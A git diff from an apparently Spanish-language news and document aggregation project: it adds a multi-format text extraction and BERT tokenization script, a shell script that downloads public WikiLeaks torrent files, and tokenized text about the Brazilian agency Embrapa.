||||||
import time
|
import time
|
||||||
import logging
|
import logging
|
||||||
|
from requests_html import HTMLSession
|
||||||
from bs4 import BeautifulSoup
|
from bs4 import BeautifulSoup
|
||||||
from PyPDF2 import PdfReader
|
from PyPDF2 import PdfReader
|
||||||
import csv
|
import csv
|
||||||
|
|
@ -66,13 +68,10 @@ def clean_text(text):
|
||||||
Limpia el texto eliminando bloques CDATA (incluso con espacios extra),
|
Limpia el texto eliminando bloques CDATA (incluso con espacios extra),
|
||||||
luego HTML, puntuación y stopwords.
|
luego HTML, puntuación y stopwords.
|
||||||
"""
|
"""
|
||||||
# 1) Eliminar cualquier variante de CDATA/marked sections malformadas
|
# 1) Eliminar cualquier variante de CDATA (p. ej. '<![ CDATA [ ... ]]>')
|
||||||
text = re.sub(r'<!\[.*?\]>', '', text, flags=re.S)
|
text = re.sub(r'<\!\[\s*CDATA\s*\[.*?\]\]>', '', text, flags=re.S)
|
||||||
|
|
||||||
# 2) Parsear HTML (lxml es más tolerante con HTML malformado)
|
# 2) Parsear HTML
|
||||||
try:
|
|
||||||
soup = BeautifulSoup(text, 'lxml')
|
|
||||||
except Exception:
|
|
||||||
soup = BeautifulSoup(text, 'html.parser')
|
soup = BeautifulSoup(text, 'html.parser')
|
||||||
text = soup.get_text(separator=" ")
|
text = soup.get_text(separator=" ")
|
||||||
|
|
||||||
|
|
@ -437,21 +436,11 @@ def explore_and_extract_articles(url, articles_folder, files_folder, processed_u
|
||||||
|
|
||||||
logging.info(f"Explorando {url} en profundidad {depth}...")
|
logging.info(f"Explorando {url} en profundidad {depth}...")
|
||||||
try:
|
try:
|
||||||
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120 Safari/537.36"}
|
session = HTMLSession()
|
||||||
response = requests.get(url, timeout=30, headers=headers)
|
response = session.get(url, timeout=30)
|
||||||
response.raise_for_status()
|
response.html.render(timeout=30, sleep=1)
|
||||||
soup = BeautifulSoup(response.text, "html.parser")
|
links = response.html.absolute_links
|
||||||
base = url.rstrip("/")
|
session.close()
|
||||||
raw_links = set()
|
|
||||||
for tag in soup.find_all("a", href=True):
|
|
||||||
href = tag["href"].strip()
|
|
||||||
if href.startswith("http"):
|
|
||||||
raw_links.add(href)
|
|
||||||
elif href.startswith("/"):
|
|
||||||
from urllib.parse import urlparse as _up
|
|
||||||
parsed = _up(url)
|
|
||||||
raw_links.add(f"{parsed.scheme}://{parsed.netloc}{href}")
|
|
||||||
links = raw_links
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logging.error(f"Error al acceder a {url}: {e}")
|
logging.error(f"Error al acceder a {url}: {e}")
|
||||||
return
|
return
|
||||||
|
|
@ -598,9 +587,7 @@ def main():
|
||||||
'https://www.spectator.co.uk/'
|
'https://www.spectator.co.uk/'
|
||||||
]
|
]
|
||||||
|
|
||||||
# Por defecto, el directorio donde vive este script
|
base_folder = '/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS'
|
||||||
base_folder = os.getenv('FLUJOS_NOTICIAS_DIR',
|
|
||||||
os.path.dirname(os.path.abspath(__file__)))
|
|
||||||
articles_folder = os.path.join(base_folder, 'articulos')
|
articles_folder = os.path.join(base_folder, 'articulos')
|
||||||
files_folder = os.path.join(base_folder, 'archivos')
|
files_folder = os.path.join(base_folder, 'archivos')
|
||||||
tokenized_folder = os.path.join(base_folder, 'tokenized')
|
tokenized_folder = os.path.join(base_folder, 'tokenized')
|
||||||
|
|
|
||||||
9516
FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/files-all.torrent
Executable file
|
|
@ -0,0 +1,8 @@
|
||||||
|
========================================
|
||||||
|
Informe de procesamiento
|
||||||
|
========================================
|
||||||
|
|
||||||
|
Nuevos archivos procesados: 0
|
||||||
|
Archivos ya procesados (saltados): 0
|
||||||
|
Errores de procesamiento: 0
|
||||||
|
========================================
|
||||||
359
FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/procesar_torrents.py
Executable file
|
|
@ -0,0 +1,359 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import hashlib
|
||||||
|
import subprocess
|
||||||
|
from transformers import BertTokenizer
|
||||||
|
from PyPDF2 import PdfReader
|
||||||
|
import csv
|
||||||
|
import docx
|
||||||
|
import openpyxl
|
||||||
|
import zipfile
|
||||||
|
from pptx import Presentation
|
||||||
|
import pytesseract
|
||||||
|
from PIL import Image
|
||||||
|
import sqlite3
|
||||||
|
from tqdm import tqdm
|
||||||
|
from bs4 import BeautifulSoup
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Stopwords (ES)
|
||||||
|
# =========================
|
||||||
|
stopwords = [
|
||||||
|
"de", "la", "que", "el", "en", "y", "a", "los", "del", "se", "las", "por", "un", "para", "con",
|
||||||
|
"no", "una", "su", "al", "es", "lo", "como", "más", "pero", "sus", "le", "ya", "o", "fue", "este",
|
||||||
|
"ha", "sí", "porque", "esta", "son", "entre", "cuando", "muy", "sin", "sobre", "también", "me",
|
||||||
|
"hasta", "hay", "donde", "quien", "desde", "todo", "nos", "durante", "todos", "uno", "les", "ni",
|
||||||
|
"contra", "otros", "ese", "eso", "ante", "ellos", "e", "esto", "mí", "antes", "algunos", "qué",
|
||||||
|
"unos", "yo", "otro", "otras", "otra", "él", "tanto", "esa", "estos", "mucho", "quienes", "nada",
|
||||||
|
"muchos", "cual", "poco", "ella", "estar", "estas", "algunas", "algo", "nosotros", "mi", "mis",
|
||||||
|
"tú", "te", "ti", "tu", "tus", "ellas", "nosotras", "vosotros", "vosotras", "os", "mío", "mía",
|
||||||
|
"míos", "mías", "tuyo", "tuya", "tuyos", "tuyas", "suyo", "suya", "suyos", "suyas", "nuestro",
|
||||||
|
"nuestra", "nuestros", "nuestras", "vuestro", "vuestra", "vuestros", "vuestras", "esos", "esas",
|
||||||
|
"estoy", "estás", "está", "estamos", "estáis", "están", "esté", "estés", "estemos", "estéis",
|
||||||
|
"estén", "estaré", "estarás", "estará", "estaremos", "estaréis", "estarán", "estaría", "estarías",
|
||||||
|
"estaríamos", "estaríais", "estarían", "estaba", "estabas", "estábamos", "estabais", "estaban",
|
||||||
|
"estuve", "estuviste", "estuvo", "estuvimos", "estuvisteis", "estuvieron", "estuviera", "estuvieras",
|
||||||
|
"estuviéramos", "estuvierais", "estuvieran", "estuviese", "estuvieses", "estuviésemos", "estuvieseis",
|
||||||
|
"estuviesen", "estando", "estado", "estada", "estados", "estadas", "estad"
|
||||||
|
]
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Limpieza y utilidades
|
||||||
|
# =========================
|
||||||
|
def limpiar_texto(texto: str) -> str:
|
||||||
|
texto = texto.lower()
|
||||||
|
texto = re.sub(r'[^\w\s]', '', texto)
|
||||||
|
palabras = texto.split()
|
||||||
|
palabras_limpias = [palabra for palabra in palabras if palabra not in stopwords]
|
||||||
|
return ' '.join(palabras_limpias)
|
||||||
|
|
||||||
|
def limpiar_nombre_archivo(nombre: str) -> str:
|
||||||
|
# Sustituye caracteres peligrosos por "_"
|
||||||
|
nombre = re.sub(r'[\\/*?:"<>|]', "_", nombre)
|
||||||
|
return nombre
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Tokenizer
|
||||||
|
# =========================
|
||||||
|
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
|
||||||
|
|
||||||
|
def tokenizar_y_guardar(texto: str, nombre_archivo: str):
|
||||||
|
tokens_ids = tokenizer.encode(
|
||||||
|
texto,
|
||||||
|
truncation=True,
|
||||||
|
max_length=512
|
||||||
|
)
|
||||||
|
tokens_str = ' '.join(map(str, tokens_ids))
|
||||||
|
with open(nombre_archivo, 'w', encoding='utf-8') as f:
|
||||||
|
f.write(tokens_str)
|
||||||
|
return tokens_ids
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Lectores de formatos
|
||||||
|
# =========================
|
||||||
|
def leer_pdf(ruta_pdf):
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
with open(ruta_pdf, 'rb') as f:
|
||||||
|
lector_pdf = PdfReader(f)
|
||||||
|
for pagina in lector_pdf.pages:
|
||||||
|
contenido += pagina.extract_text() or ''
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error leyendo PDF {ruta_pdf}: {e}")
|
||||||
|
return contenido
|
||||||
|
|
||||||
|
def leer_csv(ruta_csv):
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
with open(ruta_csv, 'r', encoding='utf-8', errors='ignore') as f:
|
||||||
|
reader = csv.reader(f)
|
||||||
|
for fila in reader:
|
||||||
|
contenido += ' '.join(fila) + '\n'
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error leyendo CSV {ruta_csv}: {e}")
|
||||||
|
return contenido
|
||||||
|
|
||||||
|
def leer_docx(ruta_docx):
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
docx_doc = docx.Document(ruta_docx)
|
||||||
|
for parrafo in docx_doc.paragraphs:
|
||||||
|
contenido += parrafo.text + '\n'
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error leyendo DOCX {ruta_docx}: {e}")
|
||||||
|
return contenido
|
||||||
|
|
||||||
|
def leer_doc(ruta_doc):
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
# Requiere antiword instalado
|
||||||
|
resultado = subprocess.run(['antiword', ruta_doc], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
contenido = resultado.stdout.decode('utf-8', errors='ignore')
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error leyendo DOC {ruta_doc}: {e}")
|
||||||
|
return contenido
|
||||||
|
|
||||||
|
def leer_xlsx(ruta_xlsx):
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
wb = openpyxl.load_workbook(ruta_xlsx, data_only=True)
|
||||||
|
for sheet in wb.sheetnames:
|
||||||
|
ws = wb[sheet]
|
||||||
|
for row in ws.iter_rows():
|
||||||
|
contenido += ' '.join([str(cell.value) if cell.value is not None else '' for cell in row]) + '\n'
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error leyendo XLSX {ruta_xlsx}: {e}")
|
||||||
|
return contenido
|
||||||
|
|
||||||
|
def leer_xls(ruta_xls):
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
import xlrd
|
||||||
|
workbook = xlrd.open_workbook(ruta_xls)
|
||||||
|
for sheet in workbook.sheets():
|
||||||
|
for row in range(sheet.nrows):
|
||||||
|
contenido += ' '.join([str(sheet.cell(row, col).value) for col in range(sheet.ncols)]) + '\n'
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error leyendo XLS {ruta_xls}: {e}")
|
||||||
|
return contenido
|
||||||
|
|
||||||
|
def leer_zip(ruta_zip, _carpeta_destino_no_usada):
|
||||||
|
# Leemos solo .txt dentro del ZIP, sin extraer al disco
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
with zipfile.ZipFile(ruta_zip, 'r') as z:
|
||||||
|
for nombre_archivo in z.namelist():
|
||||||
|
if nombre_archivo.lower().endswith('.txt'):
|
||||||
|
with z.open(nombre_archivo) as f:
|
||||||
|
contenido += f.read().decode('utf-8', errors='ignore') + '\n'
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error leyendo ZIP {ruta_zip}: {e}")
|
||||||
|
return contenido
|
||||||
|
|
||||||
|
def leer_html(ruta_html):
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
with open(ruta_html, 'r', encoding='utf-8', errors='ignore') as f:
|
||||||
|
soup = BeautifulSoup(f, 'html.parser')
|
||||||
|
contenido = soup.get_text(separator=' ')
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error leyendo HTML {ruta_html}: {e}")
|
||||||
|
return contenido
|
||||||
|
|
||||||
|
def leer_pptx(ruta_pptx):
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
prs = Presentation(ruta_pptx)
|
||||||
|
for slide in prs.slides:
|
||||||
|
for shape in slide.shapes:
|
||||||
|
if hasattr(shape, "text"):
|
||||||
|
contenido += shape.text + '\n'
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error leyendo PPTX {ruta_pptx}: {e}")
|
||||||
|
return contenido
|
||||||
|
|
||||||
|
def leer_imagen(ruta_imagen):
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
texto = pytesseract.image_to_string(Image.open(ruta_imagen))
|
||||||
|
contenido = texto
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error leyendo Imagen {ruta_imagen}: {e}")
|
||||||
|
return contenido
|
||||||
|
|
||||||
|
def leer_db(ruta_db):
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(ruta_db)
|
||||||
|
cursor = conn.cursor()
|
||||||
|
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
|
||||||
|
tablas = cursor.fetchall()
|
||||||
|
for tabla in tablas:
|
||||||
|
cursor.execute(f"SELECT * FROM {tabla[0]}")
|
||||||
|
filas = cursor.fetchall()
|
||||||
|
for fila in filas:
|
||||||
|
contenido += ' '.join(map(str, fila)) + '\n'
|
||||||
|
conn.close()
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error leyendo DB {ruta_db}: {e}")
|
||||||
|
return contenido
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Log y control de procesados
|
||||||
|
# =========================
|
||||||
|
def archivo_procesado(carpeta_txt, archivo_limpio):
|
||||||
|
return os.path.exists(os.path.join(carpeta_txt, archivo_limpio))
|
||||||
|
|
||||||
|
def cargar_archivos_procesados(log_file):
|
||||||
|
if os.path.exists(log_file):
|
||||||
|
with open(log_file, 'r', encoding='utf-8', errors='ignore') as f:
|
||||||
|
return set(f.read().splitlines())
|
||||||
|
return set()
|
||||||
|
|
||||||
|
def actualizar_log(archivo, log_file):
|
||||||
|
with open(log_file, 'a', encoding='utf-8') as f:
|
||||||
|
f.write(archivo + '\n')
|
||||||
|
|
||||||
|
def guardar_informe_procesamiento(nuevos_procesados, procesados_saltados, errores, ruta_archivo_informe):
|
||||||
|
with open(ruta_archivo_informe, 'w', encoding='utf-8') as f:
|
||||||
|
f.write(f"{'='*40}\n")
|
||||||
|
f.write("Informe de procesamiento\n")
|
||||||
|
f.write(f"{'='*40}\n\n")
|
||||||
|
f.write(f"Nuevos archivos procesados: {nuevos_procesados}\n")
|
||||||
|
f.write(f"Archivos ya procesados (saltados): {procesados_saltados}\n")
|
||||||
|
f.write(f"Errores de procesamiento: {errores}\n")
|
||||||
|
f.write(f"{'='*40}\n")
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Procesador principal
|
||||||
|
# =========================
|
||||||
|
def procesar_archivos(carpeta_archivos, carpeta_txt, log_file, ruta_archivo_informe):
|
||||||
|
archivos_procesados = cargar_archivos_procesados(log_file)
|
||||||
|
archivos = []
|
||||||
|
nuevos_procesados = 0
|
||||||
|
procesados_saltados = 0
|
||||||
|
errores = 0
|
||||||
|
|
||||||
|
for root, dirs, files in os.walk(carpeta_archivos):
|
||||||
|
for archivo in files:
|
||||||
|
archivos.append(os.path.join(root, archivo))
|
||||||
|
|
||||||
|
total_size = sum(os.path.getsize(archivo) for archivo in archivos if os.path.exists(archivo))
|
||||||
|
processed_size = 0
|
||||||
|
|
||||||
|
for archivo in tqdm(archivos, desc="Procesando archivos", unit="archivo"):
|
||||||
|
ruta_archivo = archivo
|
||||||
|
# Nombre limpio: ruta relativa (sanitizada) + sufijo _limpio.txt (PLANO en txt/)
|
||||||
|
rel = os.path.relpath(archivo, carpeta_archivos)
|
||||||
|
archivo_limpio = f"{limpiar_nombre_archivo(rel)}_limpio.txt"
|
||||||
|
|
||||||
|
if archivo_procesado(carpeta_txt, archivo_limpio) or archivo_limpio in archivos_procesados:
|
||||||
|
procesados_saltados += 1
|
||||||
|
print(f"Archivo {archivo} ya ha sido procesado. Saltando...")
|
||||||
|
continue
|
||||||
|
|
||||||
|
contenido = ''
|
||||||
|
try:
|
||||||
|
ext = os.path.splitext(archivo)[1].lower()
|
||||||
|
if ext == '.pdf':
|
||||||
|
contenido = leer_pdf(ruta_archivo)
|
||||||
|
elif ext == '.csv':
|
||||||
|
contenido = leer_csv(ruta_archivo)
|
||||||
|
elif ext == '.txt':
|
||||||
|
with open(ruta_archivo, 'r', encoding='utf-8', errors='ignore') as f:
|
||||||
|
contenido = f.read()
|
||||||
|
elif ext == '.docx':
|
||||||
|
contenido = leer_docx(ruta_archivo)
|
||||||
|
elif ext == '.doc':
|
||||||
|
contenido = leer_doc(ruta_archivo)
|
||||||
|
elif ext == '.xlsx':
|
||||||
|
contenido = leer_xlsx(ruta_archivo)
|
||||||
|
elif ext == '.xls':
|
||||||
|
contenido = leer_xls(ruta_archivo)
|
||||||
|
elif ext == '.zip':
|
||||||
|
contenido = leer_zip(ruta_archivo, carpeta_archivos)
|
||||||
|
elif ext in ('.html', '.htm'):
|
||||||
|
contenido = leer_html(ruta_archivo)
|
||||||
|
elif ext in ('.pptx', '.ppt'):
|
||||||
|
contenido = leer_pptx(ruta_archivo)
|
||||||
|
elif ext in ('.jpg', '.jpeg', '.png', '.bmp', '.tiff'):
|
||||||
|
contenido = leer_imagen(ruta_archivo)
|
||||||
|
elif ext == '.db':
|
||||||
|
contenido = leer_db(ruta_archivo)
|
||||||
|
else:
|
||||||
|
errores += 1
|
||||||
|
print(f"Tipo de archivo no soportado: {archivo}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
if contenido:
|
||||||
|
texto_limpio = limpiar_texto(contenido)
|
||||||
|
nombre_txt_limpio = os.path.join(carpeta_txt, archivo_limpio)
|
||||||
|
with open(nombre_txt_limpio, 'w', encoding='utf-8') as f:
|
||||||
|
f.write(texto_limpio)
|
||||||
|
|
||||||
|
actualizar_log(archivo_limpio, log_file)
|
||||||
|
nuevos_procesados += 1
|
||||||
|
print(f"Procesado y guardado: {archivo}")
|
||||||
|
else:
|
||||||
|
# Si no hay contenido, igualmente lo contamos como error leve
|
||||||
|
errores += 1
|
||||||
|
print(f"Sin contenido extraído: {archivo}")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
errores += 1
|
||||||
|
print(f"Error procesando archivo {archivo}: {e}")
|
||||||
|
|
||||||
|
if os.path.exists(ruta_archivo):
|
||||||
|
processed_size += os.path.getsize(ruta_archivo)
|
||||||
|
tqdm.write(f"Progreso: {processed_size / 1024 / 1024:.2f} MB de {total_size / 1024 / 1024:.2f} MB procesados")
|
||||||
|
|
||||||
|
guardar_informe_procesamiento(nuevos_procesados, procesados_saltados, errores, ruta_archivo_informe)
|
||||||
|
|
||||||
|
def tokenizar_todos_archivos(carpeta_txt, carpeta_tokenized):
|
||||||
|
import os
|
||||||
|
for root, _, files in os.walk(carpeta_txt):
|
||||||
|
for archivo in files:
|
||||||
|
# procesa solo .txt (o cambia a '_limpio.txt' si quieres acotar)
|
||||||
|
if not archivo.endswith('.txt'):
|
||||||
|
continue
|
||||||
|
|
||||||
|
src = os.path.join(root, archivo)
|
||||||
|
if not os.path.isfile(src):
|
||||||
|
continue
|
||||||
|
|
||||||
|
# misma ruta relativa y MISMO nombre exacto
|
||||||
|
rel = os.path.relpath(src, carpeta_txt)
|
||||||
|
dst = os.path.join(carpeta_tokenized, rel)
|
||||||
|
|
||||||
|
os.makedirs(os.path.dirname(dst), exist_ok=True)
|
||||||
|
|
||||||
|
if not os.path.exists(dst):
|
||||||
|
with open(src, 'r', encoding='utf-8', errors='ignore') as f:
|
||||||
|
contenido = f.read()
|
||||||
|
tokenizar_y_guardar(contenido, dst)
|
||||||
|
print(f"[TOK] {rel} -> {os.path.relpath(dst, carpeta_tokenized)}")
|
||||||
|
print("Tokenización completada para todos los archivos.")
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Configuración de rutas
|
||||||
|
# =========================
|
||||||
|
ruta_base = os.path.dirname(__file__)
|
||||||
|
ruta_carpeta = os.path.join(ruta_base, 'files') # carpeta de entrada
|
||||||
|
carpeta_txt = os.path.join(ruta_base, 'txt') # salidas limpias
|
||||||
|
carpeta_tokenized = os.path.join(ruta_base, 'tokenized') # salidas tokenizadas
|
||||||
|
log_file = os.path.join(ruta_base, 'archivos_procesados.log')
|
||||||
|
ruta_archivo_informe = os.path.join(ruta_base, 'procesado_error.txt')
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Main
|
||||||
|
# =========================
|
||||||
|
if __name__ == "__main__":
|
||||||
|
os.makedirs(carpeta_txt, exist_ok=True)
|
||||||
|
os.makedirs(carpeta_tokenized, exist_ok=True)
|
||||||
|
|
||||||
|
procesar_archivos(ruta_carpeta, carpeta_txt, log_file, ruta_archivo_informe)
|
||||||
|
tokenizar_todos_archivos(carpeta_txt, carpeta_tokenized)
|
||||||
|
|
||||||
32
FLUJOS_DATOS/TORRENTS/torrent_catcher.sh
Executable file
|
|
@ -0,0 +1,32 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# URL de la página web que contiene los enlaces de torrents
|
||||||
|
URL="https://file.wikileaks.org/"
|
||||||
|
|
||||||
|
# Directorio donde se guardarán los torrents descargados
|
||||||
|
TORRENT_DIR="home/sito/PROGRAMACION/FLUJOS_TODO_FLUJOS_DATOS/TORRENTS/" # Cambia esta ruta al directorio donde quieras guardar los torrents
|
||||||
|
|
||||||
|
# Crear el directorio si no existe
|
||||||
|
mkdir -p "TORRENTS_WIKILEAKS_COMPLETO"
|
||||||
|
|
||||||
|
# Descargar la página web
|
||||||
|
curl -s "$URL" -o /tmp/page.html
|
||||||
|
|
||||||
|
# Extraer los enlaces de torrent (supone que los enlaces contienen ".torrent")
|
||||||
|
grep -oP 'href="\K[^"]+\.torrent' /tmp/page.html > /tmp/torrent_links.txt
|
||||||
|
|
||||||
|
# Descargar cada archivo torrent
|
||||||
|
while IFS= read -r link; do
|
||||||
|
# Asegurarse de que el enlace es absoluto
|
||||||
|
if [[ $link != http* ]]; then
|
||||||
|
link="${URL}${link}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Descargar el archivo torrent
|
||||||
|
aria2c -d "TORRENTS_WIKILEAKS_COMPLETO" "$link"
|
||||||
|
done < /tmp/torrent_links.txt
|
||||||
|
|
||||||
|
# Limpiar archivos temporales
|
||||||
|
rm /tmp/page.html /tmp/torrent_links.txt
|
||||||
|
|
||||||
|
echo "Descarga de torrents completada."
|
||||||
|
|
@ -4,7 +4,6 @@ import time
|
||||||
from transformers import BertTokenizer
|
from transformers import BertTokenizer
|
||||||
from collections import Counter
|
from collections import Counter
|
||||||
from tqdm import tqdm
|
from tqdm import tqdm
|
||||||
from wikipedia_utils import buscar_articulos, obtener_contenido_wikipedia
|
|
||||||
|
|
||||||
stopwords = [
|
stopwords = [
|
||||||
"de", "la", "que", "el", "en", "y", "a", "los", "del", "se", "las", "por", "un", "para", "con",
|
"de", "la", "que", "el", "en", "y", "a", "los", "del", "se", "las", "por", "un", "para", "con",
|
||||||
|
|
|
||||||
|
|
@ -1 +1,945 @@
|
||||||
4 8086 6851 24595 1331 30941 1115 977 11083 11393 8361 30973 6839 1924 5648 2264 8056 29277 2835 1827 11472 3643 29277 2835 1827 1790 5975 4191 24595 3504 2421 22026 2522 5512 3398 6150 4636 7567 8362 29277 2835 1827 2784 15965 3548 3166 4909 7503 5424 2264 6104 2264 11665 2264 1924 2888 8105 30934 10691 1924 3219 4379 8878 6851 10823 3976 2264 11237 1924 4272 4357 3120 4123 2264 11665 7930 3976 6676 2686 2718 7572 8056 2264 5059 5206 4488 21013 4409 17457 1858 1863 2233 1499 2400 23975 14563 12464 6596 6826 8126 18501 8203 5000 8086 8086 11664 2847 9125 3503 3756 2283 8165 2564 12203 18250 5218 17180 20056 1699 7279 2197 1849 2881 9096 2296 29277 19267 2716 8252 10242 5840 29277 19267 2716 1924 18785 979 4166 2287 1858 9997 2264 29277 19267 2716 29857 2881 9096 29277 19267 2716 8252 10511 3287 10242 8056 2881 9096 8512 29277 2835 1827 3319 981 1838 1678 979 4166 19216 30950 979 4166 3120 6552 5436 1924 3350 5824 5927 8512 3255 7503 3385 21700 6428 29277 2835 1827 3385 1092 21700 2822 6796 3385 1016 21700 10072 4496 5424 5873 24595 1331 30941 1115 977 5486 14213 6553 1020 9445 30937 2264 1924 2264 17131 17683 14032 1045 4640 5269 979 979 979 3837 1024 9445 1957 24362 20026 30988 977 30993 24241 30943 30938 1045 4640 5269 28078 3246 1053 2035 1130 979 9561 5788 3126 1299 1420 30936 1239 3837 1331 30941 30973 977 11083 30973 20335 13861 5950 3313 24362 2086 26042 24447 4783 1109 1045 4640 5269 979 979 979 3837 1024 1123 30946 2035 20068 1997 30940 6696 30933 1331 30941 30973 977 11083 30973 1493 30967 30949 30967 1014 1045 4640 5269 979 979 979 4108 981 12193 30935 3396 3858 1150 22012 14876 1023 26042 24447 4783 1109 1150 1634 23072 1650 1331 30941 3197 30935 30935 1502 4099 15000 3855 1159 5
|
empresa
|
||||||
|
brasileña
|
||||||
|
investigación
|
||||||
|
agropec
|
||||||
|
##uar
|
||||||
|
##ia
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
empresa
|
||||||
|
brasile
|
||||||
|
##ira
|
||||||
|
pes
|
||||||
|
##quis
|
||||||
|
##a
|
||||||
|
agropec
|
||||||
|
##u
|
||||||
|
##ár
|
||||||
|
##ia
|
||||||
|
institución
|
||||||
|
estatal
|
||||||
|
federal
|
||||||
|
pública
|
||||||
|
brasileña
|
||||||
|
vinculada
|
||||||
|
ministerio
|
||||||
|
agricultura
|
||||||
|
ganadería
|
||||||
|
abastecimiento
|
||||||
|
bras
|
||||||
|
##il
|
||||||
|
fundada
|
||||||
|
26
|
||||||
|
abril
|
||||||
|
19
|
||||||
|
##7
|
||||||
|
##3
|
||||||
|
cuyos
|
||||||
|
objetivos
|
||||||
|
desarrollar
|
||||||
|
tecnologías
|
||||||
|
conocimiento
|
||||||
|
informaciones
|
||||||
|
técnicas
|
||||||
|
científicas
|
||||||
|
agricultura
|
||||||
|
ganadería
|
||||||
|
brasileña
|
||||||
|
tiene
|
||||||
|
misión
|
||||||
|
crear
|
||||||
|
soluciones
|
||||||
|
investigación
|
||||||
|
desarrollo
|
||||||
|
innovación
|
||||||
|
sostenibilidad
|
||||||
|
agricultura
|
||||||
|
beneficio
|
||||||
|
sociedad
|
||||||
|
brasileña
|
||||||
|
actúa
|
||||||
|
sistema
|
||||||
|
compuesto
|
||||||
|
41
|
||||||
|
centros
|
||||||
|
investigación
|
||||||
|
cinco
|
||||||
|
unidades
|
||||||
|
servicios
|
||||||
|
1
|
||||||
|
##7
|
||||||
|
unidades
|
||||||
|
centrales
|
||||||
|
presente
|
||||||
|
casi
|
||||||
|
federación
|
||||||
|
9
|
||||||
|
##7
|
||||||
|
##90
|
||||||
|
empleados
|
||||||
|
cuales
|
||||||
|
244
|
||||||
|
##4
|
||||||
|
investigadores
|
||||||
|
actúa
|
||||||
|
coordinación
|
||||||
|
sistema
|
||||||
|
nacional
|
||||||
|
investigación
|
||||||
|
agropec
|
||||||
|
##uar
|
||||||
|
##ia
|
||||||
|
s
|
||||||
|
##n
|
||||||
|
##pa
|
||||||
|
constituido
|
||||||
|
instituciones
|
||||||
|
públicas
|
||||||
|
federales
|
||||||
|
universidades
|
||||||
|
empresas
|
||||||
|
privadas
|
||||||
|
fundaciones
|
||||||
|
forma
|
||||||
|
cooperativa
|
||||||
|
ejecutan
|
||||||
|
##do
|
||||||
|
investigaciones
|
||||||
|
diferentes
|
||||||
|
áreas
|
||||||
|
geográficas
|
||||||
|
campos
|
||||||
|
conocimiento
|
||||||
|
científico
|
||||||
|
em
|
||||||
|
términos
|
||||||
|
cooperación
|
||||||
|
internacional
|
||||||
|
empresa
|
||||||
|
mantiene
|
||||||
|
68
|
||||||
|
acuerdos
|
||||||
|
bilaterales
|
||||||
|
cooperación
|
||||||
|
técnica
|
||||||
|
3
|
||||||
|
##7
|
||||||
|
países
|
||||||
|
64
|
||||||
|
instituciones
|
||||||
|
acuerdos
|
||||||
|
multilaterales
|
||||||
|
20
|
||||||
|
organizaciones
|
||||||
|
internacionales
|
||||||
|
principalmente
|
||||||
|
estudios
|
||||||
|
parcelas
|
||||||
|
mantiene
|
||||||
|
laboratorios
|
||||||
|
desarrollar
|
||||||
|
estudios
|
||||||
|
tecnología
|
||||||
|
punta
|
||||||
|
unidos
|
||||||
|
fran
|
||||||
|
##cia
|
||||||
|
países
|
||||||
|
bajos
|
||||||
|
oficina
|
||||||
|
regional
|
||||||
|
g
|
||||||
|
##han
|
||||||
|
##a
|
||||||
|
compartir
|
||||||
|
conocimiento
|
||||||
|
científico
|
||||||
|
tecnológico
|
||||||
|
continente
|
||||||
|
africano
|
||||||
|
asociados
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
empresas
|
||||||
|
asociadas
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
empresas
|
||||||
|
asociadas
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
pueden
|
||||||
|
reproducir
|
||||||
|
semillas
|
||||||
|
derivados
|
||||||
|
partir
|
||||||
|
momento
|
||||||
|
cumplan
|
||||||
|
requisitos
|
||||||
|
técnicos
|
||||||
|
establecidos
|
||||||
|
organización
|
||||||
|
unidades
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
centros
|
||||||
|
investigación
|
||||||
|
productos
|
||||||
|
